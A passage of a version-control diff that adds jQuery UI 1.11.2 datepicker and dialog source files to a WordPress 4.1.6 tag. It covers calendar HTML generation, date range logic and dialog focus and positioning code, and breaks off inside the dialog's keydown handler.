+		inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear();
+		if ((origMonth !== inst.selectedMonth || origYear !== inst.selectedYear) && !noChange) {
+			this._notifyChange(inst);
+		}
+		this._adjustInstDate(inst);
+		if (inst.input) {
+			inst.input.val(clear ? "" : this._formatDate(inst));
+		}
+	},
+
+	/* Retrieve the date(s) directly. */
+	_getDate: function(inst) {
+		var startDate = (!inst.currentYear || (inst.input && inst.input.val() === "") ? null :
+			this._daylightSavingAdjust(new Date(
+			inst.currentYear, inst.currentMonth, inst.currentDay)));
+			return startDate;
+	},
+
+	/* Attach the onxxx handlers.  These are declared statically so
+	 * they work with static code transformers like Caja.
+	 */
+	_attachHandlers: function(inst) {
+		var stepMonths = this._get(inst, "stepMonths"),
+			id = "#" + inst.id.replace( /\\\\/g, "\\" );
+		inst.dpDiv.find("[data-handler]").map(function () {
+			var handler = {
+				prev: function () {
+					$.datepicker._adjustDate(id, -stepMonths, "M");
+				},
+				next: function () {
+					$.datepicker._adjustDate(id, +stepMonths, "M");
+				},
+				hide: function () {
+					$.datepicker._hideDatepicker();
+				},
+				today: function () {
+					$.datepicker._gotoToday(id);
+				},
+				selectDay: function () {
+					$.datepicker._selectDay(id, +this.getAttribute("data-month"), +this.getAttribute("data-year"), this);
+					return false;
+				},
+				selectMonth: function () {
+					$.datepicker._selectMonthYear(id, this, "M");
+					return false;
+				},
+				selectYear: function () {
+					$.datepicker._selectMonthYear(id, this, "Y");
+					return false;
+				}
+			};
+			$(this).bind(this.getAttribute("data-event"), handler[this.getAttribute("data-handler")]);
+		});
+	},
+
+	/* Generate the HTML for the current state of the date picker. */
+	_generateHTML: function(inst) {
+		var maxDraw, prevText, prev, nextText, next, currentText, gotoDate,
+			controls, buttonPanel, firstDay, showWeek, dayNames, dayNamesMin,
+			monthNames, monthNamesShort, beforeShowDay, showOtherMonths,
+			selectOtherMonths, defaultDate, html, dow, row, group, col, selectedDate,
+			cornerClass, calender, thead, day, daysInMonth, leadDays, curRows, numRows,
+			printDate, dRow, tbody, daySettings, otherMonth, unselectable,
+			tempDate = new Date(),
+			today = this._daylightSavingAdjust(
+				new Date(tempDate.getFullYear(), tempDate.getMonth(), tempDate.getDate())), // clear time
+			isRTL = this._get(inst, "isRTL"),
+			showButtonPanel = this._get(inst, "showButtonPanel"),
+			hideIfNoPrevNext = this._get(inst, "hideIfNoPrevNext"),
+			navigationAsDateFormat = this._get(inst, "navigationAsDateFormat"),
+			numMonths = this._getNumberOfMonths(inst),
+			showCurrentAtPos = this._get(inst, "showCurrentAtPos"),
+			stepMonths = this._get(inst, "stepMonths"),
+			isMultiMonth = (numMonths[0] !== 1 || numMonths[1] !== 1),
+			currentDate = this._daylightSavingAdjust((!inst.currentDay ? new Date(9999, 9, 9) :
+				new Date(inst.currentYear, inst.currentMonth, inst.currentDay))),
+			minDate = this._getMinMaxDate(inst, "min"),
+			maxDate = this._getMinMaxDate(inst, "max"),
+			drawMonth = inst.drawMonth - showCurrentAtPos,
+			drawYear = inst.drawYear;
+
+		if (drawMonth < 0) {
+			drawMonth += 12;
+			drawYear--;
+		}
+		if (maxDate) {
+			maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(),
+				maxDate.getMonth() - (numMonths[0] * numMonths[1]) + 1, maxDate.getDate()));
+			maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
+			while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) > maxDraw) {
+				drawMonth--;
+				if (drawMonth < 0) {
+					drawMonth = 11;
+					drawYear--;
+				}
+			}
+		}
+		inst.drawMonth = drawMonth;
+		inst.drawYear = drawYear;
+
+		prevText = this._get(inst, "prevText");
+		prevText = (!navigationAsDateFormat ? prevText : this.formatDate(prevText,
+			this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths, 1)),
+			this._getFormatConfig(inst)));
+
+		prev = (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ?
+			"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click'" +
+			" title='" + prevText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w") + "'>" + prevText + "</span></a>" :
+			(hideIfNoPrevNext ? "" : "<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='"+ prevText +"'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w") + "'>" + prevText + "</span></a>"));
+
+		nextText = this._get(inst, "nextText");
+		nextText = (!navigationAsDateFormat ? nextText : this.formatDate(nextText,
+			this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths, 1)),
+			this._getFormatConfig(inst)));
+
+		next = (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ?
+			"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click'" +
+			" title='" + nextText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e") + "'>" + nextText + "</span></a>" :
+			(hideIfNoPrevNext ? "" : "<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='"+ nextText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e") + "'>" + nextText + "</span></a>"));
+
+		currentText = this._get(inst, "currentText");
+		gotoDate = (this._get(inst, "gotoCurrent") && inst.currentDay ? currentDate : today);
+		currentText = (!navigationAsDateFormat ? currentText :
+			this.formatDate(currentText, gotoDate, this._getFormatConfig(inst)));
+
+		controls = (!inst.inline ? "<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>" +
+			this._get(inst, "closeText") + "</button>" : "");
+
+		buttonPanel = (showButtonPanel) ? "<div class='ui-datepicker-buttonpane ui-widget-content'>" + (isRTL ? controls : "") +
+			(this._isInRange(inst, gotoDate) ? "<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'" +
+			">" + currentText + "</button>" : "") + (isRTL ? "" : controls) + "</div>" : "";
+
+		firstDay = parseInt(this._get(inst, "firstDay"),10);
+		firstDay = (isNaN(firstDay) ? 0 : firstDay);
+
+		showWeek = this._get(inst, "showWeek");
+		dayNames = this._get(inst, "dayNames");
+		dayNamesMin = this._get(inst, "dayNamesMin");
+		monthNames = this._get(inst, "monthNames");
+		monthNamesShort = this._get(inst, "monthNamesShort");
+		beforeShowDay = this._get(inst, "beforeShowDay");
+		showOtherMonths = this._get(inst, "showOtherMonths");
+		selectOtherMonths = this._get(inst, "selectOtherMonths");
+		defaultDate = this._getDefaultDate(inst);
+		html = "";
+		dow;
+		for (row = 0; row < numMonths[0]; row++) {
+			group = "";
+			this.maxRows = 4;
+			for (col = 0; col < numMonths[1]; col++) {
+				selectedDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, inst.selectedDay));
+				cornerClass = " ui-corner-all";
+				calender = "";
+				if (isMultiMonth) {
+					calender += "<div class='ui-datepicker-group";
+					if (numMonths[1] > 1) {
+						switch (col) {
+							case 0: calender += " ui-datepicker-group-first";
+								cornerClass = " ui-corner-" + (isRTL ? "right" : "left"); break;
+							case numMonths[1]-1: calender += " ui-datepicker-group-last";
+								cornerClass = " ui-corner-" + (isRTL ? "left" : "right"); break;
+							default: calender += " ui-datepicker-group-middle"; cornerClass = ""; break;
+						}
+					}
+					calender += "'>";
+				}
+				calender += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + cornerClass + "'>" +
+					(/all|left/.test(cornerClass) && row === 0 ? (isRTL ? next : prev) : "") +
+					(/all|right/.test(cornerClass) && row === 0 ? (isRTL ? prev : next) : "") +
+					this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate, maxDate,
+					row > 0 || col > 0, monthNames, monthNamesShort) + // draw month headers
+					"</div><table class='ui-datepicker-calendar'><thead>" +
+					"<tr>";
+				thead = (showWeek ? "<th class='ui-datepicker-week-col'>" + this._get(inst, "weekHeader") + "</th>" : "");
+				for (dow = 0; dow < 7; dow++) { // days of the week
+					day = (dow + firstDay) % 7;
+					thead += "<th scope='col'" + ((dow + firstDay + 6) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "") + ">" +
+						"<span title='" + dayNames[day] + "'>" + dayNamesMin[day] + "</span></th>";
+				}
+				calender += thead + "</tr></thead><tbody>";
+				daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
+				if (drawYear === inst.selectedYear && drawMonth === inst.selectedMonth) {
+					inst.selectedDay = Math.min(inst.selectedDay, daysInMonth);
+				}
+				leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7;
+				curRows = Math.ceil((leadDays + daysInMonth) / 7); // calculate the number of rows to generate
+				numRows = (isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows); //If multiple months, use the higher number of rows (see #7043)
+				this.maxRows = numRows;
+				printDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1 - leadDays));
+				for (dRow = 0; dRow < numRows; dRow++) { // create date picker rows
+					calender += "<tr>";
+					tbody = (!showWeek ? "" : "<td class='ui-datepicker-week-col'>" +
+						this._get(inst, "calculateWeek")(printDate) + "</td>");
+					for (dow = 0; dow < 7; dow++) { // create date picker days
+						daySettings = (beforeShowDay ?
+							beforeShowDay.apply((inst.input ? inst.input[0] : null), [printDate]) : [true, ""]);
+						otherMonth = (printDate.getMonth() !== drawMonth);
+						unselectable = (otherMonth && !selectOtherMonths) || !daySettings[0] ||
+							(minDate && printDate < minDate) || (maxDate && printDate > maxDate);
+						tbody += "<td class='" +
+							((dow + firstDay + 6) % 7 >= 5 ? " ui-datepicker-week-end" : "") + // highlight weekends
+							(otherMonth ? " ui-datepicker-other-month" : "") + // highlight days from other months
+							((printDate.getTime() === selectedDate.getTime() && drawMonth === inst.selectedMonth && inst._keyEvent) || // user pressed key
+							(defaultDate.getTime() === printDate.getTime() && defaultDate.getTime() === selectedDate.getTime()) ?
+							// or defaultDate is current printedDate and defaultDate is selectedDate
+							" " + this._dayOverClass : "") + // highlight selected day
+							(unselectable ? " " + this._unselectableClass + " ui-state-disabled": "") +  // highlight unselectable days
+							(otherMonth && !showOtherMonths ? "" : " " + daySettings[1] + // highlight custom dates
+							(printDate.getTime() === currentDate.getTime() ? " " + this._currentClass : "") + // highlight selected day
+							(printDate.getTime() === today.getTime() ? " ui-datepicker-today" : "")) + "'" + // highlight today (if different)
+							((!otherMonth || showOtherMonths) && daySettings[2] ? " title='" + daySettings[2].replace(/'/g, "&#39;") + "'" : "") + // cell title
+							(unselectable ? "" : " data-handler='selectDay' data-event='click' data-month='" + printDate.getMonth() + "' data-year='" + printDate.getFullYear() + "'") + ">" + // actions
+							(otherMonth && !showOtherMonths ? "&#xa0;" : // display for other months
+							(unselectable ? "<span class='ui-state-default'>" + printDate.getDate() + "</span>" : "<a class='ui-state-default" +
+							(printDate.getTime() === today.getTime() ? " ui-state-highlight" : "") +
+							(printDate.getTime() === currentDate.getTime() ? " ui-state-active" : "") + // highlight selected day
+							(otherMonth ? " ui-priority-secondary" : "") + // distinguish dates from other months
+							"' href='#'>" + printDate.getDate() + "</a>")) + "</td>"; // display selectable date
+						printDate.setDate(printDate.getDate() + 1);
+						printDate = this._daylightSavingAdjust(printDate);
+					}
+					calender += tbody + "</tr>";
+				}
+				drawMonth++;
+				if (drawMonth > 11) {
+					drawMonth = 0;
+					drawYear++;
+				}
+				calender += "</tbody></table>" + (isMultiMonth ? "</div>" +
+							((numMonths[0] > 0 && col === numMonths[1]-1) ? "<div class='ui-datepicker-row-break'></div>" : "") : "");
+				group += calender;
+			}
+			html += group;
+		}
+		html += buttonPanel;
+		inst._keyEvent = false;
+		return html;
+	},
+
+	/* Generate the month and year header. */
+	_generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate, maxDate,
+			secondary, monthNames, monthNamesShort) {
+
+		var inMinYear, inMaxYear, month, years, thisYear, determineYear, year, endYear,
+			changeMonth = this._get(inst, "changeMonth"),
+			changeYear = this._get(inst, "changeYear"),
+			showMonthAfterYear = this._get(inst, "showMonthAfterYear"),
+			html = "<div class='ui-datepicker-title'>",
+			monthHtml = "";
+
+		// month selection
+		if (secondary || !changeMonth) {
+			monthHtml += "<span class='ui-datepicker-month'>" + monthNames[drawMonth] + "</span>";
+		} else {
+			inMinYear = (minDate && minDate.getFullYear() === drawYear);
+			inMaxYear = (maxDate && maxDate.getFullYear() === drawYear);
+			monthHtml += "<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>";
+			for ( month = 0; month < 12; month++) {
+				if ((!inMinYear || month >= minDate.getMonth()) && (!inMaxYear || month <= maxDate.getMonth())) {
+					monthHtml += "<option value='" + month + "'" +
+						(month === drawMonth ? " selected='selected'" : "") +
+						">" + monthNamesShort[month] + "</option>";
+				}
+			}
+			monthHtml += "</select>";
+		}
+
+		if (!showMonthAfterYear) {
+			html += monthHtml + (secondary || !(changeMonth && changeYear) ? "&#xa0;" : "");
+		}
+
+		// year selection
+		if ( !inst.yearshtml ) {
+			inst.yearshtml = "";
+			if (secondary || !changeYear) {
+				html += "<span class='ui-datepicker-year'>" + drawYear + "</span>";
+			} else {
+				// determine range of years to display
+				years = this._get(inst, "yearRange").split(":");
+				thisYear = new Date().getFullYear();
+				determineYear = function(value) {
+					var year = (value.match(/c[+\-].*/) ? drawYear + parseInt(value.substring(1), 10) :
+						(value.match(/[+\-].*/) ? thisYear + parseInt(value, 10) :
+						parseInt(value, 10)));
+					return (isNaN(year) ? thisYear : year);
+				};
+				year = determineYear(years[0]);
+				endYear = Math.max(year, determineYear(years[1] || ""));
+				year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
+				endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear);
+				inst.yearshtml += "<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";
+				for (; year <= endYear; year++) {
+					inst.yearshtml += "<option value='" + year + "'" +
+						(year === drawYear ? " selected='selected'" : "") +
+						">" + year + "</option>";
+				}
+				inst.yearshtml += "</select>";
+
+				html += inst.yearshtml;
+				inst.yearshtml = null;
+			}
+		}
+
+		html += this._get(inst, "yearSuffix");
+		if (showMonthAfterYear) {
+			html += (secondary || !(changeMonth && changeYear) ? "&#xa0;" : "") + monthHtml;
+		}
+		html += "</div>"; // Close datepicker_header
+		return html;
+	},
+
+	/* Adjust one of the date sub-fields. */
+	_adjustInstDate: function(inst, offset, period) {
+		var year = inst.drawYear + (period === "Y" ? offset : 0),
+			month = inst.drawMonth + (period === "M" ? offset : 0),
+			day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) + (period === "D" ? offset : 0),
+			date = this._restrictMinMax(inst, this._daylightSavingAdjust(new Date(year, month, day)));
+
+		inst.selectedDay = date.getDate();
+		inst.drawMonth = inst.selectedMonth = date.getMonth();
+		inst.drawYear = inst.selectedYear = date.getFullYear();
+		if (period === "M" || period === "Y") {
+			this._notifyChange(inst);
+		}
+	},
+
+	/* Ensure a date is within any min/max bounds. */
+	_restrictMinMax: function(inst, date) {
+		var minDate = this._getMinMaxDate(inst, "min"),
+			maxDate = this._getMinMaxDate(inst, "max"),
+			newDate = (minDate && date < minDate ? minDate : date);
+		return (maxDate && newDate > maxDate ? maxDate : newDate);
+	},
+
+	/* Notify change of month/year. */
+	_notifyChange: function(inst) {
+		var onChange = this._get(inst, "onChangeMonthYear");
+		if (onChange) {
+			onChange.apply((inst.input ? inst.input[0] : null),
+				[inst.selectedYear, inst.selectedMonth + 1, inst]);
+		}
+	},
+
+	/* Determine the number of months to show. */
+	_getNumberOfMonths: function(inst) {
+		var numMonths = this._get(inst, "numberOfMonths");
+		return (numMonths == null ? [1, 1] : (typeof numMonths === "number" ? [1, numMonths] : numMonths));
+	},
+
+	/* Determine the current maximum date - ensure no time components are set. */
+	_getMinMaxDate: function(inst, minMax) {
+		return this._determineDate(inst, this._get(inst, minMax + "Date"), null);
+	},
+
+	/* Find the number of days in a given month. */
+	_getDaysInMonth: function(year, month) {
+		return 32 - this._daylightSavingAdjust(new Date(year, month, 32)).getDate();
+	},
+
+	/* Find the day of the week of the first of a month. */
+	_getFirstDayOfMonth: function(year, month) {
+		return new Date(year, month, 1).getDay();
+	},
+
+	/* Determines if we should allow a "next/prev" month display change. */
+	_canAdjustMonth: function(inst, offset, curYear, curMonth) {
+		var numMonths = this._getNumberOfMonths(inst),
+			date = this._daylightSavingAdjust(new Date(curYear,
+			curMonth + (offset < 0 ? offset : numMonths[0] * numMonths[1]), 1));
+
+		if (offset < 0) {
+			date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
+		}
+		return this._isInRange(inst, date);
+	},
+
+	/* Is the given date in the accepted range? */
+	_isInRange: function(inst, date) {
+		var yearSplit, currentYear,
+			minDate = this._getMinMaxDate(inst, "min"),
+			maxDate = this._getMinMaxDate(inst, "max"),
+			minYear = null,
+			maxYear = null,
+			years = this._get(inst, "yearRange");
+			if (years){
+				yearSplit = years.split(":");
+				currentYear = new Date().getFullYear();
+				minYear = parseInt(yearSplit[0], 10);
+				maxYear = parseInt(yearSplit[1], 10);
+				if ( yearSplit[0].match(/[+\-].*/) ) {
+					minYear += currentYear;
+				}
+				if ( yearSplit[1].match(/[+\-].*/) ) {
+					maxYear += currentYear;
+				}
+			}
+
+		return ((!minDate || date.getTime() >= minDate.getTime()) &&
+			(!maxDate || date.getTime() <= maxDate.getTime()) &&
+			(!minYear || date.getFullYear() >= minYear) &&
+			(!maxYear || date.getFullYear() <= maxYear));
+	},
+
+	/* Provide the configuration settings for formatting/parsing. */
+	_getFormatConfig: function(inst) {
+		var shortYearCutoff = this._get(inst, "shortYearCutoff");
+		shortYearCutoff = (typeof shortYearCutoff !== "string" ? shortYearCutoff :
+			new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
+		return {shortYearCutoff: shortYearCutoff,
+			dayNamesShort: this._get(inst, "dayNamesShort"), dayNames: this._get(inst, "dayNames"),
+			monthNamesShort: this._get(inst, "monthNamesShort"), monthNames: this._get(inst, "monthNames")};
+	},
+
+	/* Format the given date for display. */
+	_formatDate: function(inst, day, month, year) {
+		if (!day) {
+			inst.currentDay = inst.selectedDay;
+			inst.currentMonth = inst.selectedMonth;
+			inst.currentYear = inst.selectedYear;
+		}
+		var date = (day ? (typeof day === "object" ? day :
+			this._daylightSavingAdjust(new Date(year, month, day))) :
+			this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
+		return this.formatDate(this._get(inst, "dateFormat"), date, this._getFormatConfig(inst));
+	}
+});
+
+/*
+ * Bind hover events for datepicker elements.
+ * Done via delegate so the binding only occurs once in the lifetime of the parent div.
+ * Global datepicker_instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker.
+ */
+function datepicker_bindHover(dpDiv) {
+	var selector = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";
+	return dpDiv.delegate(selector, "mouseout", function() {
+			$(this).removeClass("ui-state-hover");
+			if (this.className.indexOf("ui-datepicker-prev") !== -1) {
+				$(this).removeClass("ui-datepicker-prev-hover");
+			}
+			if (this.className.indexOf("ui-datepicker-next") !== -1) {
+				$(this).removeClass("ui-datepicker-next-hover");
+			}
+		})
+		.delegate( selector, "mouseover", datepicker_handleMouseover );
+}
+
+function datepicker_handleMouseover() {
+	if (!$.datepicker._isDisabledDatepicker( datepicker_instActive.inline? datepicker_instActive.dpDiv.parent()[0] : datepicker_instActive.input[0])) {
+		$(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover");
+		$(this).addClass("ui-state-hover");
+		if (this.className.indexOf("ui-datepicker-prev") !== -1) {
+			$(this).addClass("ui-datepicker-prev-hover");
+		}
+		if (this.className.indexOf("ui-datepicker-next") !== -1) {
+			$(this).addClass("ui-datepicker-next-hover");
+		}
+	}
+}
+
+/* jQuery extend now ignores nulls! */
+function datepicker_extendRemove(target, props) {
+	$.extend(target, props);
+	for (var name in props) {
+		if (props[name] == null) {
+			target[name] = props[name];
+		}
+	}
+	return target;
+}
+
+/* Invoke the datepicker functionality.
+   @param  options  string - a command, optionally followed by additional parameters or
+					Object - settings for attaching new datepicker functionality
+   @return  jQuery object */
+$.fn.datepicker = function(options){
+
+	/* Verify an empty collection wasn't passed - Fixes #6976 */
+	if ( !this.length ) {
+		return this;
+	}
+
+	/* Initialise the date picker. */
+	if (!$.datepicker.initialized) {
+		$(document).mousedown($.datepicker._checkExternalClick);
+		$.datepicker.initialized = true;
+	}
+
+	/* Append datepicker main container to body if not exist. */
+	if ($("#"+$.datepicker._mainDivId).length === 0) {
+		$("body").append($.datepicker.dpDiv);
+	}
+
+	var otherArgs = Array.prototype.slice.call(arguments, 1);
+	if (typeof options === "string" && (options === "isDisabled" || options === "getDate" || options === "widget")) {
+		return $.datepicker["_" + options + "Datepicker"].
+			apply($.datepicker, [this[0]].concat(otherArgs));
+	}
+	if (options === "option" && arguments.length === 2 && typeof arguments[1] === "string") {
+		return $.datepicker["_" + options + "Datepicker"].
+			apply($.datepicker, [this[0]].concat(otherArgs));
+	}
+	return this.each(function() {
+		typeof options === "string" ?
+			$.datepicker["_" + options + "Datepicker"].
+				apply($.datepicker, [this].concat(otherArgs)) :
+			$.datepicker._attachDatepicker(this, options);
+	});
+};
+
+$.datepicker = new Datepicker(); // singleton instance
+$.datepicker.initialized = false;
+$.datepicker.uuid = new Date().getTime();
+$.datepicker.version = "1.11.2";
+
+return $.datepicker;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/dialog.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/dialog.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/dialog.js	(revision 33402)
@@ -0,0 +1,875 @@
+/*!
+ * jQuery UI Dialog 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/dialog/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./button",
+			"./draggable",
+			"./mouse",
+			"./position",
+			"./resizable"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.dialog", {
+	version: "1.11.2",
+	options: {
+		appendTo: "body",
+		autoOpen: true,
+		buttons: [],
+		closeOnEscape: true,
+		closeText: "Close",
+		dialogClass: "",
+		draggable: true,
+		hide: null,
+		height: "auto",
+		maxHeight: null,
+		maxWidth: null,
+		minHeight: 150,
+		minWidth: 150,
+		modal: false,
+		position: {
+			my: "center",
+			at: "center",
+			of: window,
+			collision: "fit",
+			// Ensure the titlebar is always visible
+			using: function( pos ) {
+				var topOffset = $( this ).css( pos ).offset().top;
+				if ( topOffset < 0 ) {
+					$( this ).css( "top", pos.top - topOffset );
+				}
+			}
+		},
+		resizable: true,
+		show: null,
+		title: null,
+		width: 300,
+
+		// callbacks
+		beforeClose: null,
+		close: null,
+		drag: null,
+		dragStart: null,
+		dragStop: null,
+		focus: null,
+		open: null,
+		resize: null,
+		resizeStart: null,
+		resizeStop: null
+	},
+
+	sizeRelatedOptions: {
+		buttons: true,
+		height: true,
+		maxHeight: true,
+		maxWidth: true,
+		minHeight: true,
+		minWidth: true,
+		width: true
+	},
+
+	resizableRelatedOptions: {
+		maxHeight: true,
+		maxWidth: true,
+		minHeight: true,
+		minWidth: true
+	},
+
+	_create: function() {
+		this.originalCss = {
+			display: this.element[ 0 ].style.display,
+			width: this.element[ 0 ].style.width,
+			minHeight: this.element[ 0 ].style.minHeight,
+			maxHeight: this.element[ 0 ].style.maxHeight,
+			height: this.element[ 0 ].style.height
+		};
+		this.originalPosition = {
+			parent: this.element.parent(),
+			index: this.element.parent().children().index( this.element )
+		};
+		this.originalTitle = this.element.attr( "title" );
+		this.options.title = this.options.title || this.originalTitle;
+
+		this._createWrapper();
+
+		this.element
+			.show()
+			.removeAttr( "title" )
+			.addClass( "ui-dialog-content ui-widget-content" )
+			.appendTo( this.uiDialog );
+
+		this._createTitlebar();
+		this._createButtonPane();
+
+		if ( this.options.draggable && $.fn.draggable ) {
+			this._makeDraggable();
+		}
+		if ( this.options.resizable && $.fn.resizable ) {
+			this._makeResizable();
+		}
+
+		this._isOpen = false;
+
+		this._trackFocus();
+	},
+
+	_init: function() {
+		if ( this.options.autoOpen ) {
+			this.open();
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+		if ( element && (element.jquery || element.nodeType) ) {
+			return $( element );
+		}
+		return this.document.find( element || "body" ).eq( 0 );
+	},
+
+	_destroy: function() {
+		var next,
+			originalPosition = this.originalPosition;
+
+		this._destroyOverlay();
+
+		this.element
+			.removeUniqueId()
+			.removeClass( "ui-dialog-content ui-widget-content" )
+			.css( this.originalCss )
+			// Without detaching first, the following becomes really slow
+			.detach();
+
+		this.uiDialog.stop( true, true ).remove();
+
+		if ( this.originalTitle ) {
+			this.element.attr( "title", this.originalTitle );
+		}
+
+		next = originalPosition.parent.children().eq( originalPosition.index );
+		// Don't try to place the dialog next to itself (#8613)
+		if ( next.length && next[ 0 ] !== this.element[ 0 ] ) {
+			next.before( this.element );
+		} else {
+			originalPosition.parent.append( this.element );
+		}
+	},
+
+	widget: function() {
+		return this.uiDialog;
+	},
+
+	disable: $.noop,
+	enable: $.noop,
+
+	close: function( event ) {
+		var activeElement,
+			that = this;
+
+		if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) {
+			return;
+		}
+
+		this._isOpen = false;
+		this._focusedElement = null;
+		this._destroyOverlay();
+		this._untrackInstance();
+
+		if ( !this.opener.filter( ":focusable" ).focus().length ) {
+
+			// support: IE9
+			// IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe>
+			try {
+				activeElement = this.document[ 0 ].activeElement;
+
+				// Support: IE9, IE10
+				// If the <body> is blurred, IE will switch windows, see #4520
+				if ( activeElement && activeElement.nodeName.toLowerCase() !== "body" ) {
+
+					// Hiding a focused element doesn't trigger blur in WebKit
+					// so in case we have nothing to focus on, explicitly blur the active element
+					// https://bugs.webkit.org/show_bug.cgi?id=47182
+					$( activeElement ).blur();
+				}
+			} catch ( error ) {}
+		}
+
+		this._hide( this.uiDialog, this.options.hide, function() {
+			that._trigger( "close", event );
+		});
+	},
+
+	isOpen: function() {
+		return this._isOpen;
+	},
+
+	moveToTop: function() {
+		this._moveToTop();
+	},
+
+	_moveToTop: function( event, silent ) {
+		var moved = false,
+			zIndicies = this.uiDialog.siblings( ".ui-front:visible" ).map(function() {
+				return +$( this ).css( "z-index" );
+			}).get(),
+			zIndexMax = Math.max.apply( null, zIndicies );
+
+		if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) {
+			this.uiDialog.css( "z-index", zIndexMax + 1 );
+			moved = true;
+		}
+
+		if ( moved && !silent ) {
+			this._trigger( "focus", event );
+		}
+		return moved;
+	},
+
+	open: function() {
+		var that = this;
+		if ( this._isOpen ) {
+			if ( this._moveToTop() ) {
+				this._focusTabbable();
+			}
+			return;
+		}
+
+		this._isOpen = true;
+		this.opener = $( this.document[ 0 ].activeElement );
+
+		this._size();
+		this._position();
+		this._createOverlay();
+		this._moveToTop( null, true );
+
+		// Ensure the overlay is moved to the top with the dialog, but only when
+		// opening. The overlay shouldn't move after the dialog is open so that
+		// modeless dialogs opened after the modal dialog stack properly.
+		if ( this.overlay ) {
+			this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 );
+		}
+
+		this._show( this.uiDialog, this.options.show, function() {
+			that._focusTabbable();
+			that._trigger( "focus" );
+		});
+
+		// Track the dialog immediately upon openening in case a focus event
+		// somehow occurs outside of the dialog before an element inside the
+		// dialog is focused (#10152)
+		this._makeFocusTarget();
+
+		this._trigger( "open" );
+	},
+
+	_focusTabbable: function() {
+		// Set focus to the first match:
+		// 1. An element that was focused previously
+		// 2. First element inside the dialog matching [autofocus]
+		// 3. Tabbable element inside the content element
+		// 4. Tabbable element inside the buttonpane
+		// 5. The close button
+		// 6. The dialog itself
+		var hasFocus = this._focusedElement;
+		if ( !hasFocus ) {
+			hasFocus = this.element.find( "[autofocus]" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.element.find( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialogButtonPane.find( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" );
+		}
+		if ( !hasFocus.length ) {
+			hasFocus = this.uiDialog;
+		}
+		hasFocus.eq( 0 ).focus();
+	},
+
+	_keepFocus: function( event ) {
+		function checkFocus() {
+			var activeElement = this.document[0].activeElement,
+				isActive = this.uiDialog[0] === activeElement ||
+					$.contains( this.uiDialog[0], activeElement );
+			if ( !isActive ) {
+				this._focusTabbable();
+			}
+		}
+		event.preventDefault();
+		checkFocus.call( this );
+		// support: IE
+		// IE <= 8 doesn't prevent moving focus even with event.preventDefault()
+		// so we check again later
+		this._delay( checkFocus );
+	},
+
+	_createWrapper: function() {
+		this.uiDialog = $("<div>")
+			.addClass( "ui-dialog ui-widget ui-widget-content ui-corner-all ui-front " +
+				this.options.dialogClass )
+			.hide()
+			.attr({
+				// Setting tabIndex makes the div focusable
+				tabIndex: -1,
+				role: "dialog"
+			})
+			.appendTo( this._appendTo() );
+
+		this._on( this.uiDialog, {
+			keydown: function( event ) {
+				if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode &&
+						event.keyCode === $.ui.keyCode.ESCAPE ) {
+					event.preventDefault();
+					this.close( event );
+					return;
+				}
+
+				// prevent tabbing out of dialogs
